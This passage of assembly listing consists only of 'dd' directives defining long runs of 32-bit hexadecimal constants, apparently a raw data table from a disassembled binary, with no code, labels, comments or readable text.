		dd 404D41AEh, 289E1051h, 0E5748D33h, 987BFE70h,	400952A8h
		dd 6C2A290Fh, 4597E8C3h, 0D367B5F8h, 0D747C4B9h, 40F8AE38h
		dd 0E6D26CE9h, 0DDA5140Ch, 2E19A9CFh, 388554Eh,	80CAA815h
		dd 448DFB2h, 0F9005DA9h, 0DA2ABD8Dh, 67ED03h, 4EAFAE25h
		dd 35558307h, 709A7875h, 909664A0h, 39103888h, 8812659Ch
		dd 55584925h, 0DCA09400h, 0AE009066h, 11A6D2ABh, 768EA156h
		dd 26D118B1h, 1E6B980Ch, 1229A4A8h, 9ED0C901h, 0AE77C2DCh
		dd 453800C7h, 0C8C36DB8h, 40B0A532h, 0DED0FC50h, 0D04608A6h
		dd 9357212h, 0B007273Ch, 4771C055h, 0CF017A1Ch,	16854ABFh
		dd 0E1FCDA91h, 81500AADh, 0A8203109h, 0D2AF0007h, 0DFB91D82h
		dd 70986B34h, 9961012h
		dd 0F30C8003h, 87049B08h, 5B5292E0h, 2A2D7C0Dh,	0F905F1Ch
		dd 0FEA0B922h, 30D41859h, 0F98C3BFCh, 0ED1C0E0Bh, 2060779Ch
		dd 262F5160h, 3FA4904Dh, 8E28C0D2h, 0D8BE50E8h,	785915ABh
		dd 0A909D403h, 2040E7B8h, 88B81B32h, 50DC0E48h,	15099804h
		dd 2123249Eh, 32210A10h, 0AED2DC40h, 14590078h,	95F967F8h
		dd 80152ADh, 9C8E3983h,	0E860AA0Ah, 0F11E6145h,	778D356h
		dd 27F6A180h, 95FA1329h, 46D00C09h, 1D03C038h, 975419A7h
		dd 3618E0F4h, 0AF291407h, 0C1840891h, 85693096h, 0CA39091Eh
		dd 0C009976h, 0ACB4AF79h, 31814102h, 9E0B92C8h,	74E51644h
		dd 0C0D472C2h, 0DF71C8C0h, 98A2070Fh, 1E1B6121h, 28835E0Ah
		dd 736C5213h, 1BD3821h,	0CC605F10h, 2FC227Bh, 15BF34B0h
		dd 9FD0902Bh, 81B1379h,	78C08B37h, 0D44E3A28h, 0FB48CC86h
		dd 0DEB04328h, 804BA424h, 8D2F8604h, 0AA1C13C0h, 66E080C3h
		dd 0F3043C06h, 31084EE8h, 0B5B11C80h, 84D544Ah,	71098CBFh
		dd 4F95FF5h, 0B080E77Ch, 99370B9h, 1B7392CBh, 6B6CF402h
		dd 2D35B058h, 5000A052h, 73818929h, 90FC92DAh, 96F8F050h
		dd 73B350DCh, 95B81104h, 88E0E746h, 0FCD84D52h,	20824E12h
		dd 7421A260h, 1F27CA00h, 49E85FF1h, 7A1B00AAh, 0D35AABD1h
		dd 2A78B9D9h, 8B08B126h, 5D3F9502h, 137C60DAh, 0ACE20001h
		dd 0C4FB4698h, 150492BDh, 0B28B5ACAh, 934C60E4h, 6ECC9CB0h
		dd 96F602ACh, 547BE766h, 9F314E02h, 81C4629Ch, 44ABE044h
		dd 189CE031h, 1B243EC4h, 90C1802Ch, 0D4E06D2Ah,	1E10084Ch
		dd 0A2C0EC54h, 0AF5EE3BDh, 18F160F0h, 70D59E3Eh, 0C0019B4Eh
		dd 8A2F947Fh, 259B064h,	97027925h, 1C48E10Eh, 0AC001D45h
		dd 5781919Ch, 38011B95h, 3A0FB951h, 0B8E9CBECh,	49F89882h
		dd 7344C094h, 89210F58h, 1C80B33Ah, 485A771Bh, 0F2F4F901h
		dd 6051B8B0h, 2580F441h, 548DA020h, 29FC181Bh, 4230B9F2h
		dd 0DF006EC3h, 9AF7A2D9h, 826A0070h, 1232589Dh,	7A00B387h
		dd 7996D1EAh, 0B2F0F798h, 0C31500B4h, 254C18CBh, 0A092FFDFh
		dd 8EA01A05h, 14B09316h, 0C28508Fh, 90646BAAh, 6A5608A0h
		dd 0A6E23AD0h, 1F5B2492h, 606E0060h, 0D11235Dh,	0E930FB63h
		dd 0D04763ABh, 0A1AF22B0h, 1A4B490h, 38196E2Dh,	0F5D85792h
		dd 0B90800A8h, 7488EDCEh, 269182F3h, 60B6684Eh,	18302ABCh
		dd 58768007h, 0B1040A18h, 0AE9E9629h, 0E031A493h, 9AFCA1Bh
		dd 9AD7A3D4h, 0CB961001h, 0CC4C20B2h, 2CEA513Dh, 0B680D0AFh
		dd 2CB1B94Fh, 1EB40C50h, 0BB08A533h, 4BEC21D3h,	0B2C43200h
		dd 0C6567AAFh, 0A0821200h, 0E1A564D9h, 2BACA00Fh, 62EF3098h
		dd 0FD0B0198h, 0A4235Dh, 7A35B40Dh, 14E71BEEh, 0C2136098h
		dd 78BD4D74h, 0E85528h,	14116FF6h, 0C108CE6Bh, 2E88B8A3h
		dd 4890C41Ch, 3009A631h, 598E9545h, 0B740DB63h,	0C1FD3688h
		dd 6D9A7301h, 8E604E70h, 6068CFFCh, 6EB248B3h, 0A0695CE0h
		dd 155864A0h, 0C487C570h, 162CAF0Dh, 0EA0C4120h, 8F198471h
		dd 12004C43h, 6BB108B5h, 51D10602h, 0A0728E25h,	822C3180h
		dd 0E8B5002Fh, 5D81C330h, 13F06960h, 1F7AEA02h,	6038F19Dh
		dd 22665Ah, 0DC12C121h,	20048182h, 4575EDF2h, 0F4E60903h
		dd 9059FC8Ch, 0E4015886h, 2EE100AFh, 24CFBD75h,	0A3EC327Fh
		dd 57E8FA0Fh, 83C98F4Bh, 0E784C32Fh, 52D51281h,	40FE1881h
		dd 0F051B1C7h, 9A00A74Ch, 39F646C3h, 0BEC053h, 49C736AAh
		dd 7B4C802Dh, 55208660h, 62C06BCh, 0F232FEF9h, 98065876h
		dd 401CC57Bh, 53260029h, 0E79E6AFCh, 0CB37820Bh, 7AA6085Eh
		dd 0EB073B20h, 8CD41B00h, 0AA4611FAh, 984C4B30h, 637BD2FFh
		dd 0BC2958A0h, 7844F3F0h, 683B051Eh, 86DA00BEh,	5FE22604h
		dd 0EA9F0083h, 4D525947h, 7274718Ah, 65787700h,	0DC929758h
		dd 741E7433h, 4CAB0005h, 1F775AD3h, 0E20178D7h,	0F9714810h
		dd 0F0DFC46Fh, 30DE805h, 0D0AC11E5h, 8FD90FAFh,	1B0BDCA3h
		dd 41ED5600h, 0F63EFC47h, 63390037h, 47236C9h, 2500F92Fh
		dd 0D3AB9008h, 2CCCACh,	93A3C7DCh, 6CD96B35h, 7F00AB98h
		dd 5DD2FBCBh, 7F8C9261h, 95D70F78h, 7260B83Ch, 0F10110B9h
		dd 4B907B00h, 0AB86E5BCh, 7D9B0050h, 97C18889h,	0E600D178h
		dd 991D46BFh, 0E3BDD20h, 511B0F8Bh, 0BB8EB540h,	0DC004AC4h
		dd 0FAE4C907h, 0EE73526Dh, 4DFE3C28h, 0CAC1BC80h, 8ADFB33Fh
		dd 58D63C00h, 711E739Fh, 32F80042h, 23116D74h, 4004B20h
		dd 0E3F27EEBh, 0CDD0Bh,	0B2A10EC4h, 0CBBCF161h,	2CF2A3Ch
		dd 97FCD668h, 0EF18E058h, 38B90FA8h, 0D60672Dh,	496F5D30h
		dd 8244C701h, 19D5A60Ch, 38F6B087h, 0F4080E1h, 3E3AE0FCh
		dd 0CC098066h, 91B5C288h, 6E377E17h, 1661B858h,	0E8E0F1A7h
		dd 7B0F040Bh, 21AB4692h, 101959E3h, 1606D8EBh, 0BD5206F4h
		dd 1A204356h, 0AC9DCC00h, 0E7ECBA83h, 562E42Ah,	31863DEEh
		dd 0E6B440B6h, 0BB84A70h, 19B20C1Fh, 72F5C4C0h,	80C630h
		dd 7152872Ch, 0BF2FEB3Eh, 4CAA107h, 97951C89h, 0D2FE5C81h
		dd 0FD8B9F8h, 1EC6E1F5h, 21F48980h, 1F00CC8Ah, 0E6B759D1h
		dd 2D03A9h, 0EFF118DBh,	848D9EB5h, 89477B00h, 0C7871F6Ah
		dd 284E247Dh, 0C0F01DDDh, 32354F4Ch, 42063494h,	9D98B78Eh
		dd 9CE04821h, 99466914h, 8B00D93Ah, 67861A51h, 2A00FA2Eh
		dd 0AA6EE4A7h, 8390BEh,	1EEEFEABh, 0C558233Ah, 16CC4400h
		dd 7BE73307h, 9EB80212h, 0D189095Ah, 0B49DC480h, 6AE8CF8Fh
		dd 0C098F200h, 66E1F70Ch, 0E61B0353h, 0AD731223h, 0F82B5EA9h
		dd 9004980Ah, 0F7B93351h, 94711FC0h, 0E9D40095h, 190953E1h
		dd 2C00848Eh, 0EBB4FED9h, 71ACD48h, 3F82027Fh, 7962703Bh
		dd 0B300B756h, 0D4FD9F6Ah, 0A63143h, 52C4F680h,	9EFAD91Bh
		dd 7824E200h, 26A4F46Eh, 28A101B8h, 42C4AA6Ch, 0D85E71B1h
		dd 0DB7EE08Eh, 0B70DC103h, 0D29E0Ah, 477D66D9h,	0D30333D5h
		dd 0A4952700h, 0E3074C83h, 3AEB3D1Dh, 0AB351F00h, 0AAE68E3Dh
		dd 29192200h, 0C16DBEBFh, 611B0050h, 65744491h,	0C00D987h
		dd 1727605Eh, 29BA1C9h,	0FAFBB0BFh, 23C272A6h, 0AB2334A5h
		dd 4492E640h, 921EE420h, 0B7D80050h, 0C2110FEBh, 2500E252h
		dd 0FD5E9976h, 8898D6h,	1CAB8545h, 8D955FF8h, 84926800h
		dd 3C6F7D86h, 32ACA016h, 817A01B6h, 2D91C9A8h, 36EC409Ah
		dd 1300044Eh, 881B5CB8h, 3CD5669h, 657DCF05h, 5AD897CAh
		dd 0A53C8F17h, 0F5AB8E0Bh, 2C0D40F9h, 3DB019h, 5517A43Fh
		dd 0DCD39059h, 2EB60B0Ah, 0B100ABA0h, 0A14EDEE8h, 0AD0E0002h
		dd 8DA6B937h, 950F88F8h, 80944192h, 0E9D08B14h,	68380008h
		dd 107324ADh, 8D2E7BB5h, 9F3C1DE5h, 334084EFh, 0F421CFA2h
		dd 0DBEC1459h, 8F00E60Fh, 6F11F549h, 9E03A888h,	408975ACh
		dd 0D11CD81Dh, 60A21307h, 792C0315h, 4AD87F9Ah,	833FA826h
		dd 0FE9000C4h, 0D527D763h, 2EE300C7h, 9EA4655Dh, 0B16F8184h
		dd 0D600D666h, 0DDE4AE2h, 690500CBh, 0CEADA3F7h, 0F6008E3Bh
		dd 0E82503CFh, 74AAB17h, 5DC165DBh, 78FCB135h, 0FD8C40B3h
		dd 8E00FB8Fh, 1025F862h, 4BD24C8h, 0A1BB5929h, 8148D5A0h
		dd 0D06AA489h, 1F01C62Ah, 13A56DD4h, 0D434290Bh, 0CC363D8Dh
		dd 87800AA6h, 91354EF2h, 3FE58755h, 0F38FFFC0h,	0A74B2C56h
		dd 4186008Ah, 0BE7A3BE7h, 84C2D300h, 2AA8EB7Fh,	834700ADh
		dd 1B00C0Ah, 0BC00711Ah
		dd 54238F10h, 27171Bh, 0CF433B7Dh, 34307BFCh, 0C003A73h
		dd 0AF0B0D09h, 6B2361Ch, 0B39A8A79h, 8E02904Bh,	0A6B7073Fh
		dd 466040D2h, 71AD12DEh, 147402CCh, 74602880h, 760BC9BBh
		dd 879492E7h, 0A590158Fh, 0A8C41Fh, 583BB1D2h, 0F8C5534Ch
		dd 73EC8400h, 863660AEh, 0B0A50090h, 7188E6CBh,	2D0050A8h
		dd 0EB51AD5h, 7EFAAD85h, 797700DCh, 3BC5F88Bh, 0E001F207h
		dd 6B674733h, 0FDCCBD55h, 52432454h, 59D90B3Eh,	7860B48Eh
		dd 413AA517h, 6DEA0100h, 0C2E7EB42h, 67880310h,	12ED4843h
		dd 419E1C98h, 40A00D0Eh, 0A1582F57h, 2E0F9735h,	0EF8C7F4h
		dd 13D83F96h, 59DEAAA3h, 0F0D2D690h, 0A0462D00h, 0CEF956ABh
		dd 0CE400A8h, 4E71FAA9h, 0B31EF574h, 0D6406636h, 5A3F523Bh
		dd 5D6F0055h, 0E26BD806h, 0F007E901h, 2CA835BBh, 0E62D3F20h
		dd 7963005Bh, 73CBBE95h, 0C1267F78h, 0E1874888h, 81F0BC10h
		dd 0DB2AC7h, 0EB4C919Eh, 36CE996h, 0DC693B26h, 0BC3A9400h
		dd 29ECDEEh, 83EC374h, 9F60679Dh, 8B004528h, 0F9F75AEFh
		dd 0ED4F30Bh, 0C88C870Fh, 8F00D6F4h, 187FA589h,	0F10BC38Bh
		dd 0CCE5DBh, 0B62884EFh, 0D4B41EF0h, 0A7930038h, 8BC4BC20h
		dd 8716830Fh, 14E460EEh, 5663B0h, 0E855F6F1h, 0F27742D0h
		dd 53109900h, 6B182B86h, 0E49000ABh, 707EC05Ah,	0DE007492h
		dd 0B67BBD0Fh, 0F91E8D3h, 0C36ACAD5h, 1100452Bh, 3F15B9CEh
		dd 16D29A03h, 0E9BA19DCh, 74F09B80h, 60170243h,	0B34EE40Dh
		dd 0C4827562h, 0CCE0B2AFh, 700048F8h, 0A8606A69h, 14BFE9h
		dd 6F234EC1h, 0B0D45B7Ah, 0C6E2CE00h, 1021B209h, 0A90B00ECh
		dd 54AE006h, 7E002FE9h,	2ACD8834h, 79EAEB3h, 12CB2C0Ah
		dd 0A4F8E09Ch, 870AF76Fh, 10B29408h, 6EDDF571h,	757DA0DFh
		dd 0C391F448h, 10F4EE28h, 71063078h, 74C54ED7h,	44C03808h
		dd 0FAF92600h, 4CDE0619h, 0C8C41200h, 5EEDA302h, 33B800A7h
		dd 0EBCB7DC9h, 0AC006E94h, 4BE9EB1h, 508BBD87h,	7E346Fh
		dd 49CB48FCh, 9B5A8276h, 991E1314h, 332100D4h, 0FBF60866h
		dd 6FAD014Fh, 110B43F0h, 0BCBDD805h, 1FE90A1Fh,	0B8A82F9Bh
		dd 0C09F03B3h, 0C8011EE9h, 9CB8E866h, 0D5006175h, 0E5B02794h
		dd 3FE12DFCh, 0D2807154h, 680E5B39h, 0C4300AF7h, 33DB020Ch
		dd 479900D4h, 0A32A57E6h, 0ED005830h, 0BFA0D882h, 321A2F6h
		dd 35E98188h, 11981E80h, 0AC0030D3h, 6DA3F93Fh,	1ED98C5h
		dd 0F24BCCD0h, 0CC458107h, 3DF2668Fh, 0D179E409h, 0EB0B00ACh
		dd 3473791h, 7BBC9ADEh,	76C0EDD9h, 68001F23h, 0EADE0BBh
		dd 0E4831DA7h, 0FF7D006Dh, 0FDD1A035h, 78005E6Ch, 2DCC2EA2h
		dd 303289h, 0BDF77E18h,	0A49DF28Ah, 0EC00D5F4h,	1DCEC96Ah
		dd 25E876h, 0D884D004h,	59E4C103h, 6F99F0Ah, 0EC83CC6Dh
		dd 0C71E21B3h, 0EAC173C7h, 11F41068h, 6BBF1891h, 74AB29C4h
		dd 0F5F64E1Dh, 0EE2F6F01h, 0C2D16E8Bh, 0FB322180h, 9593EC4Eh
		dd 0D433772Ah, 0F728850Eh, 5E6DA05Ch, 0CBE6289h, 66F0109Fh
		dd 0CFF8E620h, 312C9330h, 5264CCh, 6BDF0B2Ah, 0BC31B30Eh
		dd 21C036E8h, 67527CCAh, 5B244CFEh, 8683681Eh, 58A47679h
		dd 0D7F24905h, 70000A51h, 0FA0BABCBh, 118FE392h, 65E02831h
		dd 6EC82108h, 0CFD1101Dh, 0DF218E18h, 0A76C00B9h, 60498A7Dh
		dd 0A1C0F604h, 0B1A21106h, 6D091C6Eh, 0F01937E8h, 0D33EEF33h
		dd 0D1030EE2h, 9D7AAC11h, 695C8078h, 2D5503AEh,	3C9F0A77h
		dd 0DB000E5h, 0BBB2559h, 1809913Eh, 0EC18BCB4h,	0FF970050h
		dd 7FF7C062h, 0B20059A7h, 140267D4h, 0A5AE6Ch, 0EFE16D36h
		dd 0CFBE41A3h, 16D46000h, 55F8895Dh, 0AEC60785h, 6017B776h
		dd 2FCD780Dh, 0EAC95E00h, 3687113Dh, 18F47Ch, 8556F258h
		dd 0C6693393h, 3EBA9C17h, 7F048AA0h, 46D039E3h,	0A1343F80h
		dd 0F0D49A68h, 3DD96701h, 554F5359h, 0F7C14CCh,	314B5BABh
		dd 8BEB001Fh, 0D85DA579h, 0D9A4090Eh, 0B61AC035h, 15C573Bh
		dd 0BDF33FE1h, 915F8CEBh, 97001D29h, 71CF3101h,	93008A22h
		dd 737CE03Dh, 4A7B37h, 0E82BFD54h, 23F93836h, 0FBEA300h
		dd 0FCE3C844h, 3CE700ABh, 5F0C17E1h, 7001BB0h, 7D309A54h
		dd 78840Ah, 21D19D66h, 0EDDED809h, 9670B900h, 0D4D34668h
		dd 0DB7B08h, 1C22B319h,	86F572BFh, 46405200h, 32C9FA69h
		dd 9DFCD0h, 5CACE12Ch, 135E7D6h, 0D80042FCh, 0FEEAFB23h
		dd 5C379893h, 0D93CC588h, 31A04B00h, 10519174h,	0F7EA1B00h
		dd 7940ECA8h, 644100B1h, 8214A3B4h, 720532ACh, 0BED8F675h
		dd 4D1B000h, 0C1B7C2h, 4C54F884h, 0D9890DAh, 0B0107600h
		dd 0E4AB3AEDh, 51C0787h, 6F13F7Bh, 47F810DFh, 4B209600h
		dd 5C99E72Eh, 538101D8h, 71B69D51h, 3C8CE8C2h, 87DA2600h
		dd 9C949795h, 0D1583F7Fh, 8024141Fh, 0B399D06Fh, 291D1B9Eh
		dd 789DE056h, 2FF9DD7h,	396138EFh, 0D9672DC1h, 5E41E44Ch
		dd 403E1709h, 8010005Fh, 0D24B77h, 0AD2B08DFh, 8D09E838h
		dd 0E7499904h, 80FAF76Eh, 0CF013B36h, 66B95A09h, 0BA1801AEh
		dd 90807D88h, 7AD99C6Ch, 0B0011B72h, 30E5D5E3h,	0FAF0061Eh
		dd 48C5E250h, 9B00D6DDh, 0F8158654h, 61003C5Ah,	21A7557Dh
		dd 0C14D0EC1h, 0A81B8950h, 95620C5h, 0F668F530h, 67FCECh
		dd 41210A7Fh, 3B7EB137h, 1EDAC300h, 0CDA25CA6h,	0CA3E2CF5h
		dd 38AC1D05h, 30E70076h, 4BB9079h, 0B1027A6Dh, 2E529EEFh
		dd 6E904054h, 79D91CE3h, 1333C54Ah, 3E0F8031h, 0DB00AFF5h
		dd 0BBD3D80Bh, 0F29B1AACh, 9A05002Eh, 0A27AB80Ah, 5D006D6Fh
		dd 3AFC6E59h, 18F1863h,	835C482Ch, 0CCB07FA0h, 23E2546Ch
		dd 0C56FE800h, 2ACC5DA3h, 25700EAh, 0E276EF2Dh,	6490C6BEh
		dd 61009C7Ch, 276FE411h, 3B663AAEh, 0BF3F04ACh,	1F492A9Ch
		dd 0CA30C0B0h, 5D2739Bh, 0AF3AD09h, 53D16008h, 429D00FDh
		dd 70D01AA7h, 861CA3D5h, 0CA4035D2h, 3A0AA6E9h,	0B0DF0068h
		dd 9878552Ah, 2948E659h, 1FBB0CF2h, 3D18811h, 0B1994FB3h
		dd 66D04E0Ah, 0E600E271h, 2028B00Ch, 0FEA088h, 294A4BCAh
		dd 0ED73D9AAh, 0C9181F60h, 67E50AB9h, 705911DDh, 4BE387DCh
		dd 89E6BF14h, 33A90086h, 268A6AB7h, 0F61500EDh,	0FD163243h
		dd 88017739h, 0A23FBD12h, 75E0B24Eh, 6834E15Dh,	28FB493Ah
		dd 0CF421903h, 29C0899Bh, 62302412h, 0BD5148CEh, 70C003C4h
		dd 9F544C33h, 0F86650A8h, 0B9DD3600h, 0D215120Ch, 411C004Fh
		dd 860D968Ch, 87F0AF4Dh, 8C54AC24h, 0DAF97207h,	8E454340h
		dd 0B5BE0075h, 27CE9D6Ch, 1400B873h, 63517EADh,	75C3DC7h
		dd 641EA72Ah, 4769012Dh, 91CED87Dh, 93B10F1Dh, 0B36B94C0h
		dd 0C621840h, 52095910h, 30008748h, 72FEB1CFh, 750C165h
		dd 13C7B67Bh, 2340CC27h, 841C3E3Ch, 0E48E64EEh,	915C980h
		dd 5590045h, 0F1E757B9h, 4B00E817h, 0F607856Bh,	0F7DE12h
		dd 25BCF9E6h, 7ECD01BFh, 77145048h, 0DE9DD4FFh,	193B4F07h
		dd 5F9052F1h, 0FA8D9Fh,	0D1AF3FD3h, 0BE552B1Eh,	2CAA5624h
		dd 4601DC00h, 0A4B0E5h,	0D652C5BCh, 0F317E791h,	0ECDD2C28h
		dd 0EEADFD0Fh, 0C32A0F8h, 76F998h, 38BF9B8Eh, 0A6C93437h
		dd 7CF2C300h, 614C4D3h,	68700EB8h, 0D900D8FBh, 0A1B2995Bh
		dd 0A50BBF00h, 2BD23725h, 0DBCF0733h, 82E7C3h, 1630F6FFh
		dd 0C641AE00h, 0F8248DB9h, 0BD0616BCh, 400E1F78h, 6FE67C77h
		dd 0DA070299h, 8C1C7D62h
		dd 185C2A37h, 0B2460024h, 0CFF030Fh, 204964ADh,	0A6160030h
		dd 76CF7131h, 90B91F2Ah, 0A9E14E19h, 0F33282Fh,	5B6045A8h
		dd 0A3782B3Dh, 0F200BB76h, 984CADB5h, 0C071AAh,	0A7FA33A6h
		dd 6AAB7D57h, 0C4B8B91Fh, 175C00FBh, 0F77B26AAh, 0A80002Fh
		dd 1AA167B7h, 0B200B128h, 0E159C51h, 30C70D6h, 40F2241Ch
		dd 44006B20h, 297DA4BDh, 0E495E3CBh, 27A0042h, 0F82D691h
		dd 4E000D5Dh, 2DE56C4Bh, 0F886EAh, 11498C63h, 96538F8Eh
		dd 0C8049300h, 8A56FCC4h, 0AA480FB9h, 0DAE70CC7h, 5C289045h
		dd 92E6C19h, 619220B0h,	76FA6D02h, 39584058h, 91230019h
		dd 9545C743h, 0A0F1DDEh, 8436AA5Dh, 0C380043Fh,	990B87h
		dd 346013F6h, 0D09F5630h, 883A4E01h, 5C17552Ch,	3E4489D4h
		dd 54C847D2h, 0C40D7160h, 0DA0AB132h, 0CC51935Eh, 0BC3C6781h
		dd 144097CEh, 0F313442h, 6B7E2CD6h, 577F14C0h, 520F37CFh
		dd 0C77C4Fh, 0B4D62EFFh, 869F0F39h, 312094A6h, 0DA76BE7Dh
		dd 47000D70h, 51677F4Dh, 3FAEEDEh, 654B3C60h, 801F2A62h
		dd 70B0FCD4h, 0B90159h,	2D20EF3h, 0AB1796B2h, 12CE3D02h
		dd 0C048D438h, 1839C29Bh, 98EF620Ah, 40C0DB67h,	0B31D014Eh
		dd 0BC911EB2h, 5738006Ah, 8BEAECD4h, 5E4F1B13h,	9032C201h
		dd 0CDD433BDh, 9D6F03C7h, 2F232737h, 0E93CB6E0h, 0F61D9600h
		dd 265DFB7Dh, 0E407004Ch, 147C2143h, 810059F2h,	0A768058Ah
		dd 0FE380Ah, 0AE50D957h, 0ABB47B61h, 93D6E300h,	5DCE543Ah
		dd 64FAE9h, 8956E40h, 43D05F23h, 18734400h, 0F2363EE0h
		dd 0C32F1C9Ah, 0D83B4956h, 47A52C48h, 446DD00h,	0D57BCC70h
		dd 68AF04E9h, 0C1A6B63Fh, 402EA3CCh, 86A12A9Ch,	1C398AE9h
		dd 749FE0C1h, 8AF10A00h, 1C7DD198h, 4A3E6FBDh, 80B85D43h
		dd 0FFDD0314h, 64006841h, 92E1D0E3h, 1D10649h, 0ACCE8C94h
		dd 340C5C0Eh, 0B700576Ch, 4E5FED7Bh, 191DA98h, 2EF2CB9h
		dd 9C51D93Fh, 61B05C79h, 0BA4483Eh, 7F3B0230h, 0DF2F00D7h
		dd 17DDBB6h, 269FC3D4h,	0ECD71C98h, 5100AF7Ch, 129CE275h
		dd 60DA96h, 132F5D5Fh, 0B8EDCE8Fh, 0EE35D503h, 63ADE4Dh
		dd 5B8DBAF1h, 9B007178h, 15C454C7h, 17164776h, 18DD5F38h
		dd 34BE3832h, 614A1B00h, 0C9E93FAh, 415706A6h, 2A2D1DE5h
		dd 0C9A81A07h, 99926C83h, 78C2404Ch, 21F13052h,	0BEF91720h
		dd 8CA3D13Ch, 39045075h, 0C5A20FCAh, 250017DCh,	0A037CC1Bh
		dd 0B648670Ch, 2434187Eh, 0A1E0B4h, 0A34B9CD1h,	3201E2C1h
		dd 4291DF45h, 0E1C04DBBh, 5EB000A2h, 96A7F47Dh,	78004E26h
		dd 0DFD815F3h, 243FE9h,	0FA82397h, 0A4A2683Ch, 54883507h
		dd 90D245BFh, 48B6E025h, 96B1C323h, 0DE98CEE3h,	0BA0049D6h
		dd 15E4F870h, 3A758Dh, 9AEDC008h, 37ADACAEh, 50C6803h
		dd 0A0DD944Ah, 90FD4D7Ah, 128F00AAh, 0FE182CF8h, 4F16AEA0h
		dd 0E700537Fh, 950D9426h, 9188009Dh, 0BA7FB5Dh,	4C7B7167h
		dd 72304112h, 29ADCD03h, 84297465h, 228CD922h, 312271C4h
		dd 0CA9107Ch, 784476FCh, 5828A0E8h, 0DD944133h,	0FB288B0Bh
		dd 92388095h, 0A4A0EEh,	0AE48795Ah, 6934433Fh, 70012C00h
		dd 0C4D61ED7h, 4FDF1F07h, 42D4007Eh, 0B6B3C18Ch, 0EAD39500h
		dd 20E294C8h, 70A0068h,	9C5E12DDh, 0F300150Bh, 0FEA72133h
		dd 0CAC80Eh, 0D00834A5h, 0D76D995Ah, 873F0BF2h,	511300FBh
		dd 259A94F4h, 0FE4FFE1Ah, 7548005Fh, 0F81EA93Fh, 29007FC2h
		dd 0B06EE7F9h, 1E2ABECBh, 4E8E3C69h, 0B8B599EDh, 0C36EA402h
		dd 0CC0E0AEh, 422C01FAh, 9C0E2C62h, 2D728344h, 1C299809h
		dd 2F89086h, 0BCE63B5h,	68E02A1Fh, 5B1BBC5Ch, 99682219h
		dd 0E442F73Dh, 8F7CC0AFh, 705D008Ah, 66ACBD7Eh,	8200CF25h
		dd 0BAB4861Bh, 435644h,	47FCF628h, 0D76E26C3h, 502D4B0Eh
		dd 0A6F02068h, 0D6856Ah, 78C9FF20h, 0F2B67CEFh,	903A0430h
		dd 42CFDEh, 8C494F2Ah, 0D60775F9h, 8145400Fh, 0A8C180F0h
		dd 0C625659h, 15E20324h, 0AC399272h, 0CAA62878h, 7AA9F400h
		dd 0F0D1428Fh, 1FFC0083h, 4D460753h, 5800B0DDh,	0F384188Ah
		dd 79EEAA0h, 19949D20h,	456E8026h, 0A97E0A4Ch, 76663Fh
		dd 236C540Eh, 9A3B78Ah,	65E27BE5h, 101E1607h, 0CF3A02A8h
		dd 4917FE0Ch, 900B6E9Fh, 5A7E0004h, 0E620C58h, 0A979E230h
		dd 934B4203h, 0B8A06F2Fh, 74029E4Ah, 0C5660051h, 1C640CAAh
		dd 7F00D20Dh, 6807F4A9h, 32A20D7h, 6B3FD317h, 59A0775Bh
		dd 0F3163DE6h, 680F0794h, 9F52C753h, 224C6980h,	0F78E0529h
		dd 0C426DFh, 4F8FFDE2h,	590F1789h, 0BC04B36Ah, 3F80A09Fh
		dd 78E4404Ah, 89EC00AAh, 2E84B5FFh, 9B07108Eh, 3F2DB04Fh
		dd 2385CBE0h, 8380175Eh, 9CF0463h, 250C9205h, 0DB768448h
		dd 5D0BB809h, 0DE7020D6h, 124836CEh, 4CC301Ch, 0C09534D7h
		dd 81948CD9h, 602CD202h, 4043506Ah, 83E214h, 0A2CEF180h
		dd 3C10F77Dh, 0D64218C1h, 388065AFh, 0E9345323h, 0BB01C77Ah
		dd 3056D2Ah, 88401E50h,	4448C9h, 0B55C9ACBh, 4706AB52h
		dd 0EE02AE03h, 0D8D2A635h, 90941Bh, 0E7234FE3h,	92098AA7h
		dd 9D67EC1Dh, 0A00CEECh, 0E5EAD9Ah, 0B2E90087h,	125BE0C6h
		dd 780144BBh, 1E52DB66h, 0C0D79A6Dh, 631B5Ch, 7CB68E73h
		dd 1CD7ED8Ah, 8D413200h, 75FFA7E5h, 8992074Dh, 7960BB28h
		dd 9D6DE800h, 0B4003A69h, 8FDEC69Fh, 4859D336h,	0AF01E0EBh
		dd 2ACDADE1h, 55B7F8CEh, 56F0FB5Ah, 78A03D6Ah, 54F7C100h
		dd 5E37BDC0h, 0F0DB3D02h, 600F9830h, 3EB0D024h,	5B833F2Fh
		dd 0E87438EBh, 0B80357F8h, 0DBD6B200h, 0D8C48683h, 9023005Eh
		dd 6070439h, 0C7007B3Ch, 0BA673ACFh, 1D03752Eh,	0C0AB12C4h
		dd 0ED9A0416h, 0DC003F30h, 72E7DD70h, 0D50A3Ch,	291DD2D4h
		dd 610631C3h, 7F4EE503h, 672CA7A4h, 6E384810h, 0D564ED00h
		dd 0A9007348h, 0E239188Dh, 2B0CD4h, 9D7CDC40h, 0BD6A9CE7h
		dd 0ED76700h, 0F6D0D625h, 270100AAh, 93F52880h,	0EA60726Ch
		dd 78910220h, 5329031Ah, 0E8D2F62Ch, 7A571800h,	5C0C117Bh
		dd 0EBF200F5h, 87EA0B4Ah, 8E00A750h, 0CE80E242h, 0DEC65h
		dd 0BB2E92D9h, 48816A6Bh, 3D0DB00h, 11A022B4h, 0F2127734h
		dd 270D00F3h, 933B9598h, 8700451Ch, 0A8482060h,	0C1A983h
		dd 7351E194h, 0FDA30D2h, 477E4C00h, 0A2BEB8Bh, 19552C52h
		dd 4FD21CC5h, 5BA0CA35h, 97316295h, 0EB1B371Ch,	7A91D8Bh
		dd 495051C9h, 3C802Ah, 73B4F024h, 0FE1E9B3Fh, 2FEED000h
		dd 8F59F728h, 48544CABh, 0E18FD01h, 89500A55h, 0CFA99Ah
		dd 0BDB0F5C4h, 26FC12CBh, 80941E31h, 1150A056h,	8CFA4E72h
		dd 6DE8250Eh, 4C4D4036h, 0FC5760h, 0D3E66F38h, 0BDD60CC5h
		dd 6B68BC00h, 695092B4h, 0BA121D7Bh, 0B630031h,	3ED9617Fh
		dd 90098FEh, 0E55062E8h, 9E405Dh, 977BB680h, 2911CE8Eh
		dd 48B2C401h, 75531081h, 736C36D0h, 881300BBh, 46B0631Eh
		dd 0C501A183h, 731F920Fh, 0C9DC2F68h, 8BAC0239h, 82CB9DE4h
		dd 0A45D5DC0h, 67005CFAh, 0CEEE320Ch, 79D7857Eh, 43A10059h
		dd 94F5B74Ah, 0D00B831h, 68B1D058h, 0F0664634h,	0A3EE11h
		dd 0CAFC30ADh, 4D929B9Dh, 0E97F5E00h, 3C2D05AFh, 0C9F4CABh
